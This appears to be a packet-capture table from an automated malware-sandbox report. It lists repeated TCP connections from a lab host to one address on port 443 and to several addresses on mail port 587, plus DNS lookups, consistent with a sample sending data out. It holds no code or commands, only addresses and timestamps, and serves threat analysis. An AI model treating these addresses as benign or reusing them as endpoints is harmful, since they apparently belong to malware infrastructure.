Aug 13, 2024 20:25:51.219825983 CEST	443	49206	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:51.219923973 CEST	49206	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:51.219930887 CEST	443	49206	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:52.100104094 CEST	443	49206	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:52.100362062 CEST	443	49206	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:52.100464106 CEST	49206	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:52.100805998 CEST	49206	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:52.222084045 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:52.232489109 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:52.232588053 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:53.012552023 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.012814045 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:53.017775059 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.171355963 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.172539949 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:53.177562952 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.333530903 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.334307909 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:53.339389086 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.453845978 CEST	49208	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:53.458820105 CEST	587	49208	208.91.199.225	192.168.2.22
Aug 13, 2024 20:25:53.458940029 CEST	49208	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:53.498531103 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.499133110 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:53.504125118 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.523325920 CEST	49208	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:53.528465986 CEST	587	49208	208.91.199.225	192.168.2.22
Aug 13, 2024 20:25:53.528562069 CEST	49208	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:53.547085047 CEST	49209	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:53.547127962 CEST	443	49209	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:53.547197104 CEST	49209	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:53.547686100 CEST	49209	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:53.547699928 CEST	443	49209	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:53.660145998 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.660589933 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:53.665621996 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.861452103 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:53.861922979 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:53.867124081 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:54.023612022 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:54.024554968 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:54.024554968 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:54.024629116 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:54.024630070 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:54.029455900 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:54.029608011 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:54.029661894 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:54.029834986 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:54.180177927 CEST	443	49209	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:54.185225010 CEST	49209	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:54.185251951 CEST	443	49209	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:54.185323954 CEST	49209	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:54.185332060 CEST	443	49209	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:54.429477930 CEST	587	49207	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:54.456130028 CEST	49210	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:54.456203938 CEST	443	49210	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:54.456286907 CEST	49210	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:54.456571102 CEST	49210	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:54.456604958 CEST	443	49210	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:54.492067099 CEST	443	49209	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:54.494363070 CEST	443	49209	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:54.494483948 CEST	49209	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:54.494852066 CEST	49209	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:54.511399031 CEST	49211	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:54.517841101 CEST	587	49211	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:54.517946005 CEST	49211	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:54.630378962 CEST	49207	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:54.829252005 CEST	49211	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:54.834487915 CEST	587	49211	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:54.834584951 CEST	49211	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:55.086822987 CEST	443	49210	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:55.089868069 CEST	49210	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:55.089900970 CEST	443	49210	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:55.089966059 CEST	49210	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:55.089973927 CEST	443	49210	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:55.424403906 CEST	443	49210	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:55.424875975 CEST	443	49210	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:55.425101042 CEST	49210	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:55.425292015 CEST	49210	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:55.991378069 CEST	49212	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:55.991405010 CEST	443	49212	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:55.991487026 CEST	49212	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:56.001161098 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:56.005944967 CEST	49212	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:56.005963087 CEST	443	49212	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:56.006217003 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:56.006283998 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:56.553353071 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:56.553514004 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:56.558393002 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:56.642045021 CEST	443	49212	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:56.646394014 CEST	49212	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:56.646434069 CEST	443	49212	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:56.646590948 CEST	49212	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:56.646598101 CEST	443	49212	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:56.708194017 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:56.708585978 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:56.713675022 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:56.865731955 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:56.865948915 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:56.871052027 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.025535107 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.025816917 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:57.031040907 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.146567106 CEST	443	49212	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:57.146892071 CEST	443	49212	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:57.147030115 CEST	49212	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:57.147469044 CEST	49212	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:57.164849043 CEST	49214	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:57.169801950 CEST	587	49214	208.91.199.225	192.168.2.22
Aug 13, 2024 20:25:57.169891119 CEST	49214	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:57.182723999 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.182936907 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:57.187972069 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.236033916 CEST	49214	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:57.242907047 CEST	587	49214	208.91.199.225	192.168.2.22
Aug 13, 2024 20:25:57.247809887 CEST	587	49214	208.91.199.225	192.168.2.22
Aug 13, 2024 20:25:57.247901917 CEST	49214	587	192.168.2.22	208.91.199.225
Aug 13, 2024 20:25:57.253336906 CEST	49215	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:57.253374100 CEST	443	49215	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:57.253447056 CEST	49215	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:57.253875017 CEST	49215	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:57.253889084 CEST	443	49215	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:57.380317926 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.380548000 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:57.385745049 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.538000107 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.538418055 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:57.538487911 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:57.538487911 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:57.538513899 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:57.545767069 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.545782089 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.545794010 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.545808077 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.973299980 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:57.976977110 CEST	443	49215	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:57.980933905 CEST	49215	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:57.981009007 CEST	443	49215	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:57.981080055 CEST	49215	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:57.981100082 CEST	443	49215	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:58.004127979 CEST	49216	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:58.004184961 CEST	443	49216	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:58.004311085 CEST	49216	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:58.004924059 CEST	49216	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:58.004935980 CEST	443	49216	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:58.038789988 CEST	587	49213	208.91.199.223	192.168.2.22
Aug 13, 2024 20:25:58.038866997 CEST	49213	587	192.168.2.22	208.91.199.223
Aug 13, 2024 20:25:58.280126095 CEST	443	49215	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:58.280306101 CEST	443	49215	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:58.280502081 CEST	49215	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:58.281079054 CEST	49215	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:58.569916964 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:58.574948072 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:58.575025082 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:58.622741938 CEST	443	49216	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:58.627867937 CEST	49216	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:58.627901077 CEST	443	49216	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:58.627964973 CEST	49216	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:58.627970934 CEST	443	49216	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:59.037919998 CEST	443	49216	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:59.038049936 CEST	443	49216	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:59.038142920 CEST	49216	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:59.057527065 CEST	49216	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:59.141726017 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:59.141980886 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:59.147104979 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:59.194186926 CEST	49218	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:59.194232941 CEST	443	49218	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:59.194314003 CEST	49218	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:59.194686890 CEST	49218	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:25:59.194701910 CEST	443	49218	149.154.167.220	192.168.2.22
Aug 13, 2024 20:25:59.301354885 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:59.301676989 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:59.306787968 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:59.465667009 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:59.466222048 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:59.471244097 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:59.731761932 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:25:59.732095957 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:25:59.737102032 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.143615961 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.143876076 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:00.148935080 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.549397945 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.549776077 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:00.552306890 CEST	443	49218	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:00.556665897 CEST	49218	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:00.556715012 CEST	443	49218	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:00.556786060 CEST	49218	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:00.556799889 CEST	443	49218	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:00.560126066 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.718460083 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.719295979 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:00.719295979 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:00.719355106 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:00.719355106 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:00.724585056 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.724617958 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.725063086 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.725114107 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:00.927345037 CEST	443	49218	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:00.927556992 CEST	443	49218	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:00.927620888 CEST	49218	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:00.928055048 CEST	49218	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:01.123513937 CEST	587	49217	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:01.149620056 CEST	49219	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:01.149662018 CEST	443	49219	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:01.149719000 CEST	49219	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:01.150048018 CEST	49219	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:01.150060892 CEST	443	49219	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:01.322808981 CEST	49217	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:01.757606030 CEST	443	49219	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:01.760749102 CEST	49219	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:01.760787010 CEST	443	49219	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:01.760848045 CEST	49219	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:01.760857105 CEST	443	49219	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:02.366487980 CEST	443	49219	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:02.366588116 CEST	443	49219	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:02.366642952 CEST	49219	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:02.367233992 CEST	49219	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:02.407397032 CEST	49220	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:02.412564993 CEST	587	49220	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:02.412651062 CEST	49220	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:02.500865936 CEST	49220	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:02.506000042 CEST	587	49220	208.91.199.224	192.168.2.22
Aug 13, 2024 20:26:02.506073952 CEST	49220	587	192.168.2.22	208.91.199.224
Aug 13, 2024 20:26:02.591996908 CEST	49221	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:02.592047930 CEST	443	49221	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:02.592113018 CEST	49221	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:02.592648029 CEST	49221	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:02.592664957 CEST	443	49221	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:03.218401909 CEST	443	49221	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:03.379386902 CEST	49221	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:03.379420042 CEST	443	49221	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:03.379488945 CEST	49221	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:03.379497051 CEST	443	49221	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:04.162456989 CEST	443	49221	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:04.162703037 CEST	443	49221	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:04.162755013 CEST	49221	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:04.174417973 CEST	49221	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:04.617743969 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:04.622921944 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:04.625307083 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:05.187594891 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.188874960 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:05.193871975 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.345963001 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.349524021 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:05.354454041 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.507941961 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.508282900 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:05.513309956 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.671179056 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.671333075 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:05.677397013 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.831532001 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:05.831769943 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:05.836668968 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.013304949 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.013585091 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:06.018623114 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.170491934 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.170883894 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:06.170988083 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:06.170988083 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:06.170988083 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:06.176033974 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.176064014 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.176091909 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.176124096 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.463207006 CEST	587	49222	208.91.198.143	192.168.2.22
Aug 13, 2024 20:26:06.479408026 CEST	49223	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:06.479465008 CEST	443	49223	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:06.479537964 CEST	49223	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:06.479901075 CEST	49223	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:06.479916096 CEST	443	49223	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:06.673748016 CEST	49222	587	192.168.2.22	208.91.198.143
Aug 13, 2024 20:26:07.087615967 CEST	443	49223	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:07.090667963 CEST	49223	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:07.090708017 CEST	443	49223	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:07.090776920 CEST	49223	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:07.090784073 CEST	443	49223	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:07.529870987 CEST	443	49223	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:07.530107975 CEST	443	49223	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:07.530215025 CEST	49223	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:07.530904055 CEST	49223	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:07.607546091 CEST	49224	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:07.607582092 CEST	443	49224	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:07.607662916 CEST	49224	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:07.608092070 CEST	49224	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:07.608105898 CEST	443	49224	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:08.231590033 CEST	443	49224	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:08.436391115 CEST	49224	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:11.334116936 CEST	49224	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:11.334131002 CEST	443	49224	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:11.334208012 CEST	49224	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:11.334214926 CEST	443	49224	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:11.703583956 CEST	443	49224	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:11.703840971 CEST	443	49224	149.154.167.220	192.168.2.22
Aug 13, 2024 20:26:11.703906059 CEST	49224	443	192.168.2.22	149.154.167.220
Aug 13, 2024 20:26:11.704232931 CEST	49224	443	192.168.2.22	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2024 20:24:23.851072073 CEST	54562	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:23.858613014 CEST	53	54562	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:25.899049997 CEST	52917	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:25.961795092 CEST	53	52917	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:26.015203953 CEST	52917	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:26.025000095 CEST	53	52917	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:45.752731085 CEST	62751	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:45.759526014 CEST	53	62751	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:45.788157940 CEST	57893	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:45.794790030 CEST	53	57893	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:48.524105072 CEST	54821	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:48.534965038 CEST	53	54821	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:51.571954966 CEST	54719	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:51.578433990 CEST	53	54719	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:51.592122078 CEST	49881	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:51.598578930 CEST	53	49881	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:52.125622988 CEST	54998	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:52.135773897 CEST	53	54998	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:52.135973930 CEST	54998	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:52.142995119 CEST	53	54998	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:52.963690996 CEST	52781	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:52.970118046 CEST	53	52781	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:52.989589930 CEST	63926	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:52.996092081 CEST	53	63926	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:53.530621052 CEST	65510	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:53.541080952 CEST	53	65510	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:54.294713974 CEST	62672	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:54.301455021 CEST	53	62672	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:54.351703882 CEST	56475	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:54.358094931 CEST	53	56475	8.8.8.8	192.168.2.22
